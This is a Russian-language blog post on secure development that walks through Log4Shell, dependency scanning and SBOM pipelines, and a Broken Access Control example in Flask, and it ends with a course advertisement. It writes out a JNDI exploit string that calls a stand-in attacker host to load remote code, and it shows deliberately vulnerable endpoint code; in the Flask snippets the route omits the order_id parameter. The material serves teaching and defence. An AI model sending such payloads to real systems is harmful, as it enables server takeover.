Главная
Блог
Информационная безопасность
Взломать и научить: Твой код — их цель. Как не стать легкой добычей.

Разработчик смотрит на экран с кодом, на котором показаны уязвимости. Инфографика о принципах безопасной разработки.

Взломать и научить: Твой код — их цель. Как не стать легкой добычей.

02.08.2025 | Категория Информационная безопасность

"Безопасная разработка — это важно". Скучно? Банально? Как "нужно писать тесты". Все кивают. Но дедлайны горят, верно? И вот твой PR с //FIXME: добавить проверку прав уже в main.

Содержание:

Код на миллион убытков: Почему без безопасной разработки твоя карьера — приговор.
Анатомия катастрофы: Log4Shell. Как одна дыра в чужом коде похоронила тысячи проектов.
OWASP Top 10: Broken Access Control. Твоя главная ошибка.
FAQ: Отвечаем на твои самые острые вопросы.
Хватит теории. Время действовать.

Мы привыкли: файрволы, антивирусы, "бородатые админы". Отдел ИБ. Забудь. Эта парадигма мертва. Лет десять как. Сегодня 70-80% атак бьют не по периметру. Они бьют по твоему коду. Твой код. Это и есть новый периметр. Понял?

Код на миллион убытков: Почему без безопасной разработки твоя карьера — приговор.

Взломали? Что дальше с твоей карьерой?

Начистоту. Что будет, если твой код сольет данные?
Хаос. Сначала.
Звонок в 3 ночи. От техдира.
Следующие 72 часа? Кофе. Адреналин. Поиск дыры. Оценка ущерба.
Какие данные утекли? Чьи?

Это только начало. Дальше — "разбор полетов".
И вот здесь. Водораздел. Карьерный рост или стагнация. Выбирай.

Сценарий 1: Разработчик-жертва.
Ты не понял, как это произошло.
"Как ты допустил эту SQL-инъекцию?"
Ты мямлишь про "не хватило времени на ревью".

Не уволят. Но репутация? Подмочена.
Критичные задачи? Больше не твои.
Перформанс-ревью? Блеклое. Повышение? Забудь на год-полтора.
Ты тот парень. "Из-за его кода мы потеряли базу". Шепчутся у кулера. Приятно?

Сценарий 2: Разработчик-герой.
Да, ты написал уязвимый код. Но ты первый, кто понял, как исправить.
И, что важнее, как предотвратить.
На post-mortem ты не оправдываешься. Ты с планом:
"Я проанализировал атаку. Нужен SAST-сканер Semgrep в CI/CD. С блокирующими правилами на инъекции. PoC-пайплайн готов."

"Обязательный security-чеклист для всех PR с данными. Составлю. Проведу обучение."
В этот момент ты не виновник. Ты лидер.
Решаешь проблему системно.
Такие инженеры становятся тимлидами, архитекторами.
Бизнес видит: им можно доверить продукт. И данные клиентов. Самое ценное.
Цена ошибки? Не только деньги компании. Твоя карьерная валюта.
Эта статья? Научит ее приумножить. Не потерять.

Анатомия катастрофы: Log4Shell. Как одна дыра в чужом коде похоронила тысячи проектов.

DevSecOps на практике: Защита от Log4Shell за 3 шага. Прямо в твой CI/CD.

Декабрь 2021. Интернет горел. Помнишь?
Log4Shell (CVE-2021-44228). В Log4j. Вездесущей Java-библиотеке.
Она показала: современные приложения хрупки. До смешного.

Идеальная supply chain attack. Не надо взламывать компанию.
Нашел дыру в одном из сотен open-source "кирпичиков" — и готово.
Проблема? Не твой плохой код.
Проблема: этот уязвимый "кирпичик" лежал в фундаменте тысяч систем.
От Minecraft до Apple и Amazon. Ужас, правда?

Как это работало? На уровне кода?
До смешного просто.
Ты пишешь стандартную строку для логирования:

// Невинная на вид строка кода
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

// ...
private static final Logger logger = LogManager.getLogger(MyController.class);
// ...
public void handleRequest(String userAgent) {
    // Уязвимость здесь: в лог пишется строка, пришедшая от пользователя
    logger.info("Request from User-Agent: {}", userAgent);
}

Злоумышленник? Вместо Mozilla/5.0... шлет: ${jndi:ldap://evil-server.com/a}.
Уязвимая Log4j видит ${...}. Пытается "раскрыть".
Идет по LDAP-адресу. Качает вредоносный Java-класс. Исполняет.
Результат? RCE. Удаленное выполнение кода.
Полный захват сервера. Твоего сервера.

Как это предотвратить? Не зная заранее?
Ответ прост: автоматизация. Гигиена зависимостей.
Вот тебе DevSecOps-план. Из 3 шагов.
Внедряй завтра. Прямо сейчас.

Шаг 1: Автоматический аудит зависимостей (SCA). Твоя первая линия обороны.
Сканер. Он знает все про уязвимости в open-source библиотеках.
Интегрируй Trivy. Бесплатно. В свой CI/CD.
Пример для GitLab CI (.gitlab-ci.yml):

scan_dependencies:
  stage: test
  image:
    name: aquasec/trivy:latest
    entrypoint: [""]
  script:
    - trivy fs --exit-code 1 --severity CRITICAL,HIGH .

Что это даст?
Простая задача в пайплайне. Сканирует проект. Находит зависимости.
Сверяет версии с базой уязвимостей.
Нашел CRITICAL или HIGH (как Log4Shell)? trivy упадет.
Пайплайн не пройдет. Уязвимый код не попадет в main. Никогда.

Шаг 2: Создай "паспорт" приложения (SBOM).
Инцидент произошел. Первый вопрос от ИБ: "Где еще эта библиотека?"
Ответить за 5 минут, а не за 5 дней? SBOM.
Полный список всех компонентов твоего ПО.
Генерируем с Syft:

generate_sbom:
  stage: build
  image:
    name: anchore/syft:latest
    entrypoint: [""]
  script:
    - syft . -o cyclonedx-json > sbom.json
  artifacts:
    paths:
      - sbom.json

Этот sbom.json — твой "паспорт".
Теперь ты за секунды найдешь все проекты с log4j-core.
Оценишь масштаб бедствия. Быстро.

Шаг 3: Культура и проактивное обновление. Это не про инструменты. Это про тебя.
Инструменты — полдела.
Внедрите "День обновлений". Раз в спринт. 2-4 часа.
На обновление зависимостей.
Используй GitHub Dependabot или Snyk. Они создадут PR'ы. Автоматически.
Твоя задача? Не просто "Merge".
Проверь changelog. Запусти тесты.
Это превратит управление зависимостями из аврала в рутину.
Log4Shell показал: ты отвечаешь не только за свой код.
Но и за тот, который импортируешь. Помни об этом.

OWASP Top 10: Broken Access Control. Твоя главная ошибка.

Почему это стало возможным: Типичная ошибка. Сливает чужие данные.

Атаки на цепочки поставок? Удар в спину от чужого кода. Коварно.
Уязвимости из OWASP Top 10? Это выстрел себе в ногу. Чаще всего. Хочешь быть в курсе всех угроз и защитных практик? Тогда изучи, как OWASP двигает индустрию безопасности вперед.
И на первом месте с 2021 года? A01: Broken Access Control.
Нарушение контроля доступа.

Это не криптография. Не магия.
Банальная логическая дыра. Система не проверяет: имеет ли пользователь право?
Право на действие. На данные.
Статистика? 94% приложений. Имели эту уязвимость. Почти все.

Разберем пример. Каноничный.
Встречается в каждом втором проекте.
API интернет-магазина. Эндпоинт: GET /api/v1/orders/{orderId}.
Разработчик Петр? Защитил. Требует аутентификации. Молодец?
Посмотрим.

Почему это стало возможным? Анализ уязвимого кода.
Вот код Петра. Flask, Python.

# НЕПРАВИЛЬНЫЙ, УЯЗВИМЫЙ КОД
from flask import Flask, jsonify
from flask_jwt_extended import jwt_required, get_jwt_identity
from models import Order

@app.route('/api/v1/orders/', methods=['GET'])
@jwt_required() # Шаг 1: Проверяем, что пользователь залогинен. Отлично.
def get_order_details(order_id):
    user_id = get_jwt_identity() # ID пользователя из токена.

    order = Order.query.get(order_id) # Заказ по ID из URL.
    if not order:
        return jsonify({"error": "Order not found"}), 404

    # ОШИБКА!
    # Нет проверки, что заказ принадлежит user_id.
    # Система доверяет: залогинен? Значит, может смотреть любой заказ.
    return jsonify(order.to_dict()), 200

В чем подвох?
Система проверила: пользователь аутентифицирован. Залогинен.
Но не проверила: авторизован ли он смотреть этот заказ?

Злоумышленник? Вошел в свой аккаунт (user_id=123).
Начинает перебирать order_id в URL: /api/v1/orders/1, /api/v1/orders/2…
Выкачивает данные всех заказов. Адреса. Телефоны. Покупки.
Чужих клиентов.
Это и есть "сломанный" контроль доступа. Проще некуда.

Как предотвратить? Код. Архитектура. И Принцип Zero Trust.
Фикс на уровне кода? Элементарно.
Одна проверка. Добавь ее:

# ПРАВИЛЬНЫЙ, БЕЗОПАСНЫЙ КОД
@app.route('/api/v1/orders/', methods=['GET'])
@jwt_required()
def get_order_details(order_id):
    user_id = get_jwt_identity()

    order = Order.query.get(order_id)
    if not order:
        return jsonify({"error": "Order not found"}), 404

    # ИСПРАВЛЕНИЕ: Добавлена проверка владения объектом.
    if order.user_id != user_id:
        # Важно: 403 Forbidden, не 404 Not Found.
        # Не дай атакующему понять, существует ли заказ.
        return jsonify({"error": "Access denied"}), 403

    return jsonify(order.to_dict()), 200

Но простой фикс — это симптом.
Вылечить болезнь? Меняй мышление.
Переходи к архитектуре на принципах Zero Trust. "Нулевого доверия". А чтобы выстраивать системную защиту по мировым стандартам, освой NIST Cyber Security Framework — это не просто документация, это фундамент для любой серьезной кибербезопасности.

Что это значит для API?
Каждый эндпоинт. Должен проверять права доступа. Для каждого запроса.
Не доверяй ничему по умолчанию.
Не надейся, что кто-то другой проверит. Фронтенд. Или предыдущий сервис.
Твоя функция? Самодостаточна. Параноидальна.
Создай централизованный декоратор или middleware. Для проверки прав.
Чтобы не дублировать код. Чтобы не забыть.
Например, @permission_required('order:read').
Это превратит безопасность из случайной проверки в неотъемлемую часть архитектуры.
Твоего приложения.

FAQ: Отвечаем на твои самые острые вопросы.

SAST, DAST, SCA: В чем разница? И когда их применять?

Представь, ты строишь дом.
SCA (Software Composition Analysis) — это проверка кирпичей. Open-source библиотек.
Привезли? Проверь на трещины (уязвимости). До начала кладки.
SAST (Static… Testing) — твой архитектор. Изучает чертежи (твой код).
Ищет просчеты (SQL-инъекции, логические ошибки). До начала стройки.
DAST (Dynamic… Testing) — инженер. Пытается взломать построенный дом.
Дергает за двери, окна. На запущенном приложении.
Используй SCA и SAST на каждом коммите/PR.
DAST — в тестовом окружении. После каждого деплоя.
Понял?

Как убедить менеджера выделить время на безопасность? Если это "замедляет" фичи?

Говори на языке бизнеса. Денег. Рисков.
Вот 3 аргумента:
1) Стоимость исправления: "Исправить сейчас? 2 часа. После взлома, утечки, штрафов? Миллионы. Недели работы всей команды."
2) Конкурентное преимущество: "Клиенты (B2B, финтех) требуют сертификаты. Безопасный продукт — это фича. Ее можно продавать."
3) Скорость в долгосрочной перспективе: "Автоматизированные проверки в CI/CD ловят баги раньше. Сокращают ручное тестирование. Мы замедлимся на 5% сегодня. Чтобы ускориться на 20% завтра."
Бей прямо в цель.

Rust, Go: Они "безопаснее по умолчанию"? Правда или миф?

Частично. Да.
Они решают целые классы проблем старых языков.
Rust? Модель владения. Заимствования. Исключает ошибки памяти (переполнение буфера, use-after-free). Корень многих уязвимостей в C/C++.
Go? Встроенная защита от некоторых атак.
Но! Ни один язык не защитит от логических ошибок.
Неправильный контроль доступа (как в OWASP). Жестко закодированные секреты.
Язык — инструмент. Безопасность — это культура. И процессы.
Запомни.

"Атака на цепочку поставок": Что это? Простыми словами. Для тебя.

Представь, ты строишь автомобиль.
Кузов и двигатель — твои. Тормоза? Заказываешь у проверенного поставщика.
Атака на цепочку поставок: злоумышленник взламывает не тебя.
А твоего поставщика тормозов. Подмешивает брак.
Ты, ничего не подозревая, ставишь их на свой авто.
Выглядит отлично. Но в критический момент? Тормоза отказывают.
В мире ПО: "тормоза" — это open-source библиотеки.
Log4j, React, Express. Подключаешь через npm, Maven, pip.
Понял аналогию?

Хватит теории. Время действовать.

Ты только что увидел, как важна безопасная разработка на примерах реальных кибератак. Одна строчка кода. Одна уязвимая зависимость. Может стоить компании миллионов. Тебе — репутации. Карьеры.
Теории из статей? Недостаточно. Чтобы противостоять реальным угрозам.
Хочешь стать инженером, который предотвращает катастрофы? А не создает их?
Нужны системные навыки. Практика. На реалистичных симуляторах.

Хватит надеяться на "авось". На ИБ-отдел.
Возьми безопасность в свои руки. Прямо сейчас.
Наш флагманский курс "Тестирование веб-приложений на проникновение" — это не лекции.
Это интенсивный воркшоп.
Научишься мыслить как атакующий, освоишь искусство тестирования на проникновение, чтобы опережать его на два шага.
Сделай шаг к роли Senior/Lead. К зарплате в 350-450 тыс. рублей.